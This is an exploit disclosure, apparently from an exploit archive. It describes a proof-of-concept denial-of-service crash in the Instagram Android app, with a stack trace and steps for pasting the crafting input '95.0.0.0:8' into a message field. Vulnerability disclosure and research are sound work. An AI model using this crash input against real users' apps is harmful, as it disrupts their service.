## https://sploitus.com/exploit?id=PACKETSTORM:172958
# Exploit Title: Instagram App 287.0.0.22.85 - Denial of Service (PoC)
# Date: 2023-06-13
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.instagram.com
# Software Link: https://play.google.com/store/apps/details?id=com.instagram.android
# Version: 287.0.0.22.85
# Tested on: Android 12
# [ About App ]:
#Instagram is a photo and video sharing social networking service owned by American company Meta Platforms,
#The app allows users to upload media that can be edited with filters and organized by hashtags and geographical tagging,
#Posts can be shared publicly or with preapproved followers. Users can browse other users' #content by tag and location,
#view trending content, like photos, and follow other users to add their content to a personal feed.
# [ Description ]:
#Instagram is sensitive to illegal words, that's why will leave the page and stop after sending.
/**
#Stack Trace:
Package name: com.instagram.android
Package version: 368407140
Process name: com.instagram.android
Caused by: java.net.URISyntaxException: Illegal character
in scheme name at index 0: 95.0.0.0:8
at java.net.URISParser.fail(URI.java:2893)
at java.net.URISParser.checkChars(URI.java:3066)
at java.net.URISParser.checkChar(URl.java:3076)
at java.net.URISParser.parse(URI.java:3092)
at java.net.URI.<init>(URI.java:584)
at X.BI5.A00(:1361229)
at X.BpQ.DMb(:73)
at X.6FI.DMd(:7)
at X.6Fn.A03(:10)
at X.110.DMe(:11)
at X.1ly.A03(:25)
at X.1lo.DMe(:11)
at X.11LAOW(:7)
at X.115.A03(:37)
at X.115.A02(:2)
at X.B90.A05(:1350672)
at X.BR2.onClick(:562)
at android.view.View.performClick(View.java:7763)
Crash:
Exception class name: java.net.URISyntaxException
Source file: URI java
Source class: java.net.URISParser
Source method: fail
Line number: 2893
*/
# [ POC ]:
# 1.Enter the Instagram app
# 2.In the messages section, select a user to send a message
# 3.Paste -> "95.0.0.0:8" in the "message..." field
# 4.Click 'Send'
# 5.Crashed ;)